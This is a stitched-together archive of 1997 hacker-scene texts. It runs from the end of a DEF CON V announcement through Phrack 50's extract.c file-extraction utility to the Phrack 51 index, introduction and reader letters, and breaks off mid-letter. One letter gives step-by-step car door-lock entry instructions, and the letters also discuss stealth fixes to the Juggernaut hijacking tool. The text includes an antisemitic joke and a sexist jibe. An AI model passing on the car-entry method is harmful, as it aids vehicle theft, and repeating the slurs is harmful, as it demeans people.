16:00 Awards for Capture the Flag

End of it all, cleanup, etc. See you all next year!

EVENTS:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

[> HACKER JEOPARDY:

Winn is back with Hacker Jeopardy!! The third year in the running! Can the all‑powerful Strat and his crypto‑minion Erik, whose force cannot be contained, be defeated?! Will the powers that be allow Strat‑Meister to dominate this beloved event for the third year in a row?! Can Erik continue to pimp‑slap the audience into submission with a spoon in his mouth?!? Only Skill, Time, and booze will tell the tail!

The Holy Cow will help supply the beer, you supply the answers. The first round starts at 12 midnight o'clock on Friday and lasts until it is done. The second and secret rounds will happen Saturday at midnight.

6 teams will be picked at random and compete for the final round. There can be only one! Strat's Team, the winners from last year will defend if all the members can be found.

[> FREE BEER!

Holy Cow will provide free beer tickets! If you are over 21 prepare to consume "hacker" beers. Actually it's whatever beer they have on tap, but it's the best beer in Las Vegas. Follow Las Vegas Blvd. up until you see the florescent cow with the big sunglasses. All taxi drivers know of this Mecca. Over 1,000 free beers in all!

[> BLACK AND WHITE BALL:

We've talked it over, and the verdict is in. For the last two years

at DEF CON there has been a sort of unspoken Saturday night dress up event. People have worn everything from party dresses and Tuxedoes to AJ's ultra pimp Swank outfit with tiger print kilt. This year it is official. Wear your cool shit Saturday night, be it gothic or PVC

vinyl or Yakuza looking black MIBs. No prizes, just your chance to be the uber‑bustah pimp.

[> THE TCP/IP DRINKING GAME:

If you don't know the rules, you'll figure 'em out.

[> CAPTURE THE FLAG:

The second year of capture the flag is back. With the lessons learned

from last year the contest should be more interesting and intense. Up to six machines will be connected running different operating systems. The object is to control as many machines as possible at certain time periods. You can form teams or go it lone star. There will be valuable cash prizes and redeemable coupons for those who come in first and second, plus various runner up stuffs.

Four protocols (TCP/IP, NetBeui, IPX, and x.25! Yes, you heard right, x.25) and three segments with 2 boxes per segment. Pick your segment, protect your boxes. At all times you must have a WWW server (port 80), finger, and mail working. There will be several stock operating systems on the network including linux, FreeBsd, Windows NT, Novell, Some Apple System 7.x, and who knows what else.

More specifics as time goes on.

[> VIRTUAL WORLD:

We are working on the group discounts like the last two years.

[> QUAKE COMPETITION:

http://www.ctive.com/ntech/defcon.htm

This year knightPhlight contacted me and wanted to organize a single elimination Quake competition to find out who that badest ass 'mo 'fo

is. Check out the web site to get the rules, sign up, or to donate a computer the greater good of destruction.

It is IMHO that Quake by id Software rules 3D action gaming. But who rules Quake? We'll find out this July 11th‑13th at the DefCon Conference in Las Vegas. This isn't going to be a networked game intent on quickly eliminating as many players as possible in a single

round. Rather, one‑on‑one games will be played to absolutely determine who the best really is.

Of course, you already know your the best so why would you feel obligated to prove it? Because we'll give the first place winner $750. Now, being the wily person you are, I bet you would like to know where I got the money for the prizes. It'll come from your registration fee of $7.50. Any half wit can do the math and see the 10,000% return for the winner. But just for entering you'll be in a drawing for really kewl stuff. If you don't think its kewl you can just give us your email address and we'll be happy to send you a couple hundred thousand messages explaining why the prizes are great.

[> NET CONNECTION:

This year we are pre‑building many of the network boxes so the net can go up first thing Friday. It looks like we will have a T1 line and we will break it out to 10 BaseT hubs. If you want in on the network bring along the appropriate cables and adapters.

More Net Madness! The T1 bandwidth will allow us to do the following cool stuff:

‑ Have several color quickcams and a CU‑SeeMe reflector site set up so people not at the con can check out what's going on. During the convention check out the DEF CON web site to get the location of the reflector site. You should get and install the software needed to view CU‑SeeMe streams in advance!

‑ Have a RealAudio server set up to stream the speakers talks to those who can not attend.

‑ Potentially play a competitive multi user game(s) over the net.

NOTE! If you wish to participate interactively with the convention please e‑mail me and we can coordinate something. It would be great to get people from all over the world involved.

[> 5th ANNUAL SPOT THE FED CONTEST:

The ever popular paranoia builder. Who IS that person next to you?

"Like a paranoid version of pin the tail on the donkey, the favorite sport at this gathering of computer hackers and phone phreaks seems to be hunting down real and imagined telephone security and Federal and local law enforcement authorities who the attendees are certain are tracking their every move.. .. Of course, they may be right."

John Markhoff, NYT

Basically the contest goes like this: If you see some shady MIB (Men in Black) earphone penny loafer sunglass wearing Clint Eastwood to live and die in LA type lurking about, point him out. Just get my attention and claim out loud you think you have spotted a fed. The people around at the time will then (I bet) start to discuss the possibility of whether or not a real fed has been spotted. Once enough people have decided that a fed has been spotted, and the Identified Fed (I.F.) has had a say, and informal vote takes place, and if enough people think it's a true fed, or fed wanna‑be, or other nefarious style character, you win a "I spotted the fed!" shirt, and the I.F. gets an "I am the fed!" shirt.

NOTE TO THE FEDS: This is all in good fun, and if you survive unmolested and undetected, but would still secretly like an "I am the fed!" shirt to wear around the office or when booting in doors, please contact me when no one is looking and I will take your order(s). Just think of all the looks of awe you'll generate at work wearing this shirt while you file away all the paperwork you'll have to produce over this convention. I won't turn in any feds who contact me, they have to be spotted by others.

[> RAIL GUN DEMONSTRATION: (Friday)

On Friday afternoon there will be a demonstration of a hand held rail gun. This garage project should be able to fire a graphite washer very, very fast.

[> OMNIDIRECTIONAL CELL PHONE JAMMER DEMONSTRAITON: (Friday)

Another interesting creation to be tested on Friday in the desert. Come along and watch you cell phone antenna explode with power! See control channels crumble before you.

[> RADIO BURST CANNON DEMONSTRATION: (Friday)

While not quite a HERF gun, this should come close. The RBC should be able to produce up to or less than one MegaWatt for up to or less than one second. What will this do? Who knows! Come and find out. Obviously the above demonstrations will take place away from the local hospitals and casinos out in the desert someplace, so be prepared.

HOTELS:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

[> Book your room NOW!!! We have a block of rooms, but it is first come, [> first served. Rooms get released about one month before the convention. [> Book by June 9th or risk it. The room rates are quite cool this year.

PRIMARY HOTEL: The Aladdin Hotel and Casino

3667 Las Vegas Blvd. South, Las Vegas, Nevada

Built in 1966 it is one of the oldest hotels in Las Vegas that hasn't been blown up to make room for newer ones. It is quite nice and has Tennis courts, two swimming pools, Chinese, Vietnamese and Korean. A Seafood and steakhouse, Joe's Diner and a 24 hour coffee shop too. It's located next to the MGM Theme park on the strip.

PHONE: 1‑800‑225‑2632, reference the "DC Communications conference" for reservations.

RATES: Single & Double rooms are $65 in the Garden section, $85 for the Tower. Suites are $250 to $350. All costs are plus 8% room tax.

Rollaway beds are available for an additional $15 a night.

STUFF IN

VEGAS:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

URLs

Listings of other hotels in Las Vegas, their numbers, WWW pages, etc. http://www.intermind.net/im/hotel.html

http://vegasdaily.com/HotelCasinos/HotelAndCasinos/CasinoList.html

VENDORS / SPONSORS /

RESEARCH:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you are interested in selling something (shirts, books, computers, whatever) and want to get a table contact me for costs.

If you have some pet research and you want to have the participants fill out anonymous questioners please contact me for the best way to do this.

If you want to sponsor any event or part of DEF CON V in return for favorable mentions and media manipulation please contact me. For example in the past Secure Computing has sponsored a firewall hacking contest.

MORE

INFO:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[> DEF CON Voice Bridge (801) 855‑3326

This is a multi‑line voice bbs, VMB and voice conference system. There are 5 or so conference areas, with up to eight people on each one. Anyone can create a free VMB, and there are different voice bbs sections for separate topics. This is a good neutral meeting place to hook up with others.

The Voice bridge will be changing numbers soon, but the old number will refer you to the new location. The new spot won't suffer from "Phantom" bridges!

[> MAILING LIST

send emial to majordomo@merde.dis.org and in the body of the message

include the following on a separate line each.

subscribe dc‑stuff

dc‑announce is used for convention updates and major announcements, dc‑stuff is related to general conversation, planning rides and rooms, etc.

[> WWW Site http://www.defcon.org/

Convention updates and archives from previous conventions are housed

here. Past speakers, topics, and stuff for sale. Also a growing section of links to other places of interest and current events.

[>The Third Annual California Car Caravan to DEF CON! http://exo.com/~enigma/caravan/

[> The DEF CON V Car ride sharing page: Use this site to arrange ride sharing to the convention from all over North America. If you can spare a seat for someone, or need to leech a ride go to the ride sharing page set up by Squeaky. http://www.geocities.com/ResearchTriangle/4955/defcon.html

Room Sharing Page:

[> EMAIL dtangent@defcon.org

Send all email questions / comments to dtangent@defcon.org. It has been said that my email is monitored by various people. If you want

to say something private, please do so with my pgp key (At the bottom of this announcement) I usually respond to everything, if not I'm swamped or had a system problem.

[> SNAIL MAIL

Send all written materials, pre‑registrations, etc. to: DEF CON, 2709 E. Madison, Seattle WA, 98112

If you are pre‑registering for $30 please make payable to DEF CON and include a name to which you want the registration to apply. I don't respond to registrations unless you request.

DO YOU WANT TO

HELP?‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here is what you can do if you want to help out or participate in some way:

Donate stuff for the continuous give‑aways and the various contests.

Got extra ancient stuff, or new cool stuff you don't use anymore? Donate it to a good cause! One person was very happy over winning an osborne "portable" computer.

ORGANIZE sharing a room or rides with other people in your area. Join the mailing list and let people know you have floor space or some extra seats in your car. Hey, what's the worst that can happen besides a trashed hotel room or a car‑jacking?

CREATE questions for hacker jeopardy (you know how the game is played) and email them to winn@infowar.com. No one helped out last year, so this year let's try. Everything from "Famous narks" to "unix bugs" is fair game.

BRING a machine with a 10bt interface card, and get on the local network, trade pgp signatures, etc.

FINAL CHECK LIST OF STUFF TO

BRING:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MY PGP

KEY:‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.1

mQCNAy6v5H8AAAEEAJ7xUzvdRFMtJW3CLRs2yXL0BC9dBiB6+hAPgBVqSWbHWVIT /5A38LPA4zqeGnGpmZjGev6rPeFEGxDfoV68voLOonRPcea9d/ow0Aq2V5I0nUrl LKU7gi3TgEXvhUmk04hjr8Wpr92cTEx4cIlvAeyGkoirb+cihstEqldGqClNAAUR tCZUaGUgRGFyayBUYW5nZW50IDxkdGFuZ2VudEBkZWZjb24ub3JnPg==

=ngNC

‑ ‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑‑‑‑‑BEGIN PGP SIGNATURE‑‑‑‑‑

Version: 2.6.2

iQCVAwUBM07aS8tEqldGqClNAQFuSAQAjwGLBdDKA9TKTNAxewgeluvRXPFu+cLf hQ74qJFtGybyik+Te4FPQI3Uw+wjir/4ES1imyjQ9n9oIOh+E0L3moYxbcQKN7iT /VWAJXwPNJR8guxGcrRNYO85KXSB2qFrU9JwCwJ/8C5lEi/5FVjqRewpliw68+SW 9jHqxFccQUs=

=PPpy

‑‑‑‑‑END PGP SIGNATURE‑‑‑‑‑

extract.c

.oO Phrack 50 Oo.

Volume Seven, Issue Fifty

16 of 16

extract.c by Phrack Staff and sirsyko

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* extract.c by Phrack Staff and sirsyko

*

* Phrack Magazine, 1997

*

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory strcuture. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* gcc ‑o extract extract.c

*

* ./extract filename

*

*/

#include <stdio.h>

#include <sys/stat.h>

#include <string.h>

int main(int argc, char **argv){

char *s="<++> ",*e="<‑‑>",b[256],*bp;

FILE *f,*o = NULL;

int l, n, i=0;

l = strlen(s);

n = strlen(e);

if(argc<2) {

printf("Usage: %s <inputfile>\n",argv[0]); exit(1);

}

if(! (f=fopen(argv[1], "r"))) {

printf("Could not open input file.\n");

exit(1);

}

while(fgets(b, 256, f)){

if(!strncmp (b, s, l)){

b[strlen(b)‑1] = '\0';

if((bp=strchr(b+l+1,'/')))

while (bp){

*bp='\0';

mkdir(b+l, 0700);

*bp='/';

bp=strchr(bp+1,'/');

}

if((o = fopen(b+l, "w")))

printf("‑ Extracting %s\n",b+l);

else {

printf("Could not extract '%s'\n",b+l);

exit(1);

}

}

else if(!strncmp (b, e, n)){

if(o) fclose(o);

else {

printf("Error closing file.\n");

exit(1);

}

}

else if(o) {

fputs(b, o);

i++;

}

}

if(!i) printf("No extraction tags found.\n");

return(0);

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑CUT‑HERE‑‑‑‑‑‑‑‑‑‑‑>8‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EOF

51

- Introduction by Phrack Staff

- Phrack Loopback by Phrack Staff

- Line Noise by various

- Phrack Prophile on Swamp Ratte by Phrack Staff

- File Descriptor Hijacking by orabidoo

- LOKI2 (the implementation) by route

- Juggernaut 1.0 - 1.2 patchfile by route

- Shared Library Redirection by halflife

- Bypassing Integrity Checking Systems by halflife

- Stealth RPC scanning by halflife

- The Art of Scanning by Fyodor

- The Eternity Service by Adam Back

- Monoalphabetic cipher cryptanalysis by mythrandir

- Phrack Magazine Article Index Guide by guyver

- A Brief introduction to CCS7 by Narbo

- Phrack World News by disorder

- extract.c by Phrack Staff

Introduction

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 01 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 1 I N D E X

‑‑‑‑‑‑‑‑[ Registered Hex Offenders

DefCon. I love DefCon. Why do I love DefCon? Several reasons. I get to see many people I do not normally get to hang out with. And it's in Las Vegas. Ok, I guess that's two reasons. I love DefCon for two reasons.

Las Vegas is a blast. No two ways about it. Free drinks _while_ you get FREE money. What more can anymore ask for?!@ Sex? Gluttony? Corruption? Greed? Thin facades? Tackiness? Friends, it's _all_ there.

Vegas is certainly not for everyone. It's not for the timid, the shy or the compulsive. Vegas can and will eat you alive, if you are not careful. Even the most vigilant often find themselves victimized by Sin City... As I write this paragraph, my memory draws me back... back to that first week in July 1997, towards the end of DefCon V, when a good friend and seasoned Vegas adventurer came knocking on my door at half past 5am...

He was armed with a coke in one hand, a whiskey in the other. The fact that he was noticely unencumbered by money caught my eye. The Casino Demons had relieved him of that. He was in need of a safe place to camp for a few hours... I happily obliged. I attempted to make his stay with us as comfortable as possible... However, my friend refused all attempts at hospitality. He was still deep in the throes of what professional Vegas travelers call 'The Zone'. He was in a dull haze, a casino‑atmosphere‑induced catatonic state, in which external stimuli are, for the most part, ignored. There was little I could do for him, so I bedded down... And there he sat, engulfed in darkness, deep within his own world... Eventually, exhaustion overcame him, and he drifted into an uncomfortable sleep... Early in the morning, he arose, determined to retake his reappropriated wealth.

It took me a few tries of getting raped by that town before I realized how it works, and, more importantly, how to work it.

It can be summed up in one word. An abbreviation even. COMPS. Vegas is all about being compensated for. Compensation for being in out in the fucking desert. Compensation for staying in some shitty hotel. Compensation for winning some of their money. Compensation for losing ALL of your money. Learning how to have a good time in Vegas means learning how to get comped. In order to be comped, you must either a) be some one important, b) know someone important, or the most common occurrence, c) comp other people.

This past DefCon, I had my room upgraded from a single‑bed room on the first floor, to a double‑bed on the second, and then from that to a $400/nite suite somewhere up in the 20's (you know, the kind with the double doors). It's all about knowing how to work the system. Knowing how to get comped. Complaining about something is often a good way to get something for free in Vegas. So is being put out in some fashion or another. Go ahead and watch Casino and Swingers a few dozen times and you will get the idea...

A word about this issue. In my opinion, and the opinion of many people way cooler then me, this is the Best Phrack Issue Ever (TM). Ok. Now. In Issue 48, I know I promised timely dissemination. However, I am an older / wiser Phrack editor now, and, what it comes down to, is that timeliness is not always possible. Not when there is a minimum level of excellence that must be preserved. This issue is a perfect example of that phenomena. We have amassed some seriously cool shit this time around. Technical excellence abounds here, and if we are a few weeks late, I think it should be well worth the wait. We've got several ground breaking articles, a great deal of source, fully nude photos of Milla Jovovich (not available in ASCII‑Phrack) and a new format. Commentary, as always, is appreciated.

What makes this (or any) issue so damned good? Simple. The incredible array of talented individuals that graciously lend their time to writing articles for us. I just want to give a word of thanks to you guys: past, present and future. Without you, Phrack would slip quietly into the night... This issue, a special werdup to halflife for the technically superior work he contributed for P51, thrice over.

Phrack 51 comes atcha power‑packed with new streamlined formatting! We cut out colons, added a surplus of dashes and brackets, and b00m! Less fluff, more EDGE. Areodynamicphrack. Europhrack. _Slickphrack_.

Bad to the bone and shot to the heart when you think about Phrack, you touch yourself.

Enjoy the magazine. It is for and by the hacking community. Period.

PS

The aforementioned gamblaholic ended up being comped three $20 meals, and a show (Lance Burton at the Monte Carlo). Man, that lucky son‑of‑a‑bitch got to see Lance at the Carlo...

‑‑ Editor in Chief ‑‑‑‑‑‑‑‑‑‑‑‑[ route

‑‑ Nominal Editors ‑‑‑‑‑‑‑‑‑‑‑‑[ datastream cowboy, alhambra

‑‑ We've given up hope ‑‑‑‑‑‑‑‑[ voyager

‑‑ Phrack World News ‑‑‑‑‑‑‑‑‑‑[ disorder

‑‑ Phrack Webpage Sloth ‑‑‑‑‑‑‑[ loadammo

‑‑ Most Likely To Be Beaten ‑‑‑|

‑‑ About the Head and Neck by ‑|

‑‑ Xanax ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Nicki Jarecki

‑‑‑‑‑‑‑‑ Elite ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> omerta

‑‑ Number One Crush ‑‑‑‑‑‑‑‑‑‑‑[ Milla Jovovich

‑‑ Extra Special Thanks ‑‑‑‑‑‑‑[ halflife

‑‑ The Man on The Inside ‑‑‑‑‑‑[ varak

‑‑ Gas Face Given ‑‑‑‑‑‑‑‑‑‑‑‑‑[ "Lunatic Unix with Tunics"

‑‑ Got owned? Shoulda used ‑‑‑[ OpenBSD

‑‑ Shout Outs ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Guild, r00t, The Death Vegetable, Swamp

Ratte, prym, maverick, Cantor, nirva, The

Army of the Twelve Monkeys, guyver, mycroft,

Asriel, Theo Deraadt, X, Torquie, mudge.

Phrack Magazine V. 7, #51, September 01, 1997. ISSN 1068‑1035 Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Subscription requests, articles, comments, whatever should be directed to:

phrackedit@phrack.com

Submissions to the above email address may be encrypted with the following key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=

=1iyt

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ T A B L E O F C O N T E N T S

1 Introduction Phrack Staff 9K

2 Phrack Loopback Phrack Staff 45K

3 Line Noise various 71K

4 Phrack Prophile on Swamp Ratte Phrack Staff 14K

5 File Descriptor Hijacking orabidoo 20K

6 LOKI2 (the implementation) route 111K

7 Juggernaut 1.0 ‑ 1.2 patchfile route 11K

8 Shared Library Redirection halflife 7K

09 Bypassing Integrity Checking Systems halflife 11K

10 Stealth RPC scanning halflife 7K

11 The Art of Scanning fyodor 87K

12 The Eternity Service Adam Back 118K

13 Monoalphabetic cipher cryptanalysis mythrandir 16K 14 Phrack Magazine Article Index Guide guyver 100K 15 A Brief introduction to CCS7 Narbo 10K

16 Phrack World News Disorder 83K

17 extract.c Phrack Staff 3K

723K

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"...Who's the big winner tonight...? Mikey! Mikey wins! Mikey's the big winner...!"

‑ Trent "Double Down" (Vince Vaughn)

*jtb* phrack's like wine, it gets better with age

*jtb* as opposed to, like, decomposing.

"...Daddy needs a new pair of Jews..."

‑ loadammo, clamping a mighty hand down upon my shoulder and a mighty hand down upon alhambras shoulder, Blackjack Tables, DefCon V, Las Vegas, NV.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Loopback

‑‑‑[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 02 of 17

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 51 L O O P B A C K

‑‑‑‑‑‑‑‑[ Phrack Staff

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Issue 50 proves that Phrack _is_ back, and better than ever. Congratulations to you and the rest of the Phrack staff for putting together what I think is by far the most informative issue to date. The quality of the articles and code (YES! Lots of code!) reflects the hard work and commitment that obviously went in to this issue. I could go on, but I'm all out of lip balm.

Thank you!

_pip_

[ Thank you. We aim to please. ]

0x2>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{ ...Bugtraq Phrack 50 announcement deleted... }

So What?

Who cares? get this crap off of the mailing list.

phrack is as much trash as 2600 or any other

little idiot magazine.

[ Thank you. We aim to please. ]

0x3>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

juggernaut is way cool, man.

minor bug: you dont unset IFF_PROMISC on exit, so it's not terribly stealthy, but it's no big deal to fix.

anyway. cool.

.techs.

[ Although Juggernaut is *not* meant to be a 'covert' program you are completely right about that. I should unset promiscuous mode when the program exits. In fact, in version 1.2 (patchfile available in this issue) I include this very thing. ]

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi!

I've got the p50.tgz and well, played a little with jugernaut. It's realy cool but:

1) It doesn't compile so clean. You've forgot to #include <linux/netdevice.h> before <linux/if_arp.h>

2) The spy connection part is not quite cool because you

sniff and dump all the stuff that is comeing from the dest. port and dest. host ...

So if U try 2 spy say:

193.226.34.223 [4000] 193.226.62.1 [23]

U spy in fact all the stuff that is comeing from 193.226.62.1 [23] for ALL the conn. made to 193.226.62.1 on the 23 (telnet) port. This will cause a cool mess on the screen.

I've tried 2 restrict the spying by introduceing a new cond. iphp‑>daddr==target‑>saddr in net.c ... it brocked the spy routine

Maybe U'll fix somehow that thing..

All my best regards,

Sandu Mihai

[ <linux/if_arp.h> includes <linux/netdevice.h>. The compilation of the program should go smoothly on any linux 2.0.x based system. Version 1.2 also fixes the TCP circuit isolation problem you allude to... ]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thanks!

This is a very impressive tool! Brilliant work!

Thank you,

‑‑Craig

[ Thank you. ]

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm just writing this to say thanx for putting out such a kickass publication. Down here in 514 it's fuckin dead, you mention hacking and half the people don't have a clue what Unix is.It's fuckin pathetic, but i'm glad to say that your mag has helped a lot and i look forward to future issues, you guys really do make a difference in the hacking community. Thanx.

Snake Eyes

[ Amen to that. ]

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi! =8)

Why don't you (at Phrack) compile an updated Pro‑Phile on known H/P Groups like the one on issue #6 ?

So we ‑ the readers ‑ can know something more about the ACTUAL scene (but perhaps it's not worth ‑ ppl's sick of all that 3l33t d00dz ;)

I really appreciated that dox & srcs on spoofing, D.O.S., etc. HIGH technical quality, sources, articles, news.... and it's free! :P Ahh that's life! ;)

However, great job with the latest Phrack issues.

To quote a friend of mine (talking of Phrack Magazine)...

> It's improved a lot with Deamon9 in command....

K, that's all.

**PHRACK RULEZ!** (I had to say that :)

Oh... and sorry for my english!

Cya....

‑Axl‑

[ Not a bad idea. Perhaps someone would like to do an article on the existing groups out there for P52? ]

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would like to know what you suggest to get me headed in the right direction reguarding the compromise of computers on the internet. any information that you would be able to spare would be most appreaciated. atomicpunk.

[ It's *all* about compromise. It's something you have to do. Be fair to them. Listen to them. Don't shut them out of your life. They are wonderful creatures... It's a give and take thing and sometimes, yes, you *have* to compromise ‑‑ that's part of having a mature relationship. ]

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I recently locked into my car so i called a friend to come help me when the slim jim was no help he decided to try another less known method.

We simply took a stiff metal coat hanger and straightened it out and made a small loop in it then we took a small speaker wire about 3 feet long and tied a loop into one end so it would slide to make the loop smaller or larger.

Then you take the wire and run it in through the loop in the hanger and pry the top edge of the car door open and slide both looped ends through holding onto the unlooped ends.

then you use the hanger to position the loop in the speaker wire around the door lock once you have the loop into position you hold the hanger steady and gradualy pull the loop tight around the lock once the loop is tight you just pull up on the hanger.

This works on most all vehicles with top door locks and with a little prep. and practice can be done in under 2 mins. also its less conspicious and easier to get than a slim jim. and they are cheap so no one care to toss the out after breaking into an entire lot of cars.

Hope you found this phile worth while

C'ya

The Stony Pony

[ Aspiring young car thieves among us thank you; however if you lock yourself in the car again, you might try unlocking the door manually. ]

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HOW YOU KNOW YOUR A TRY HARD HACKER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By [Xtreme]

I just wrote this to tell all you try hard hackers something.

1) You goto other hacker pages on the web.

2) You think loading a program that waz made by a hacker is hacking. 3) The only thing you do is get the lastest passwd file from your isp. 4) You goto channels like #hack and ask for passwd files.

5) You don't know where to get warez.

6) You always telnet to hosts and type

login: root

password: root

and stuff like that.

7) You brag about how you are a hacker.

8) You don't know C.

9) Your a girl.

10) You don't know what's a shell.

11) You don't know what Linux, FreeBSD and all those other UNIX's are. 12) You don't have a UNIX OS.

13) You think when using IRC war scripts, your hacking.

14) Asking how to hack other people's computer.

15) You try cracking a shadowed passwd file.

16) You don't know if a passwd file is shadowed or not.

17) You ask what is a T1.

18) You ask how to email bomb and you think email bombing is a form of hacking. 19) Your learning BASIC language.

20) You think you can get into hacking straight away.

21) You don't know how to set up an eggdrop bot.

22) You think .mil stands sites stand for a country.

[ That is without a doubt, the dumbest thing I have ever read in my life. Not only do I award you no points, but we are all now dumber having read that. May God have mercy on your soul. ]

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What command do I use to make you denial of service package work?

[ You hit yourself in the head with a hammer. ]

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was scanning the 413 xxx 99XX range and I found some #'s. I have no idea what they do. I was wondering if you could help me out. Maybe call them and see what you find or someting.

(413) xxx‑99xx

(413) xxx‑99xx

(413) xxx‑99xxThese are all fax #s, I think

(413) xxx‑99xx

(413) xxx‑99xxgoes beep beep beep

(413) xxx‑99xxgoes beeeep

(413) xxx‑99xxauto foward I think

(413) xxx‑99xx goes beeep beeep

[ I tried calling these but I got no answer. Maybe the 'X' on my phone is case sensitive? ]

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sir,

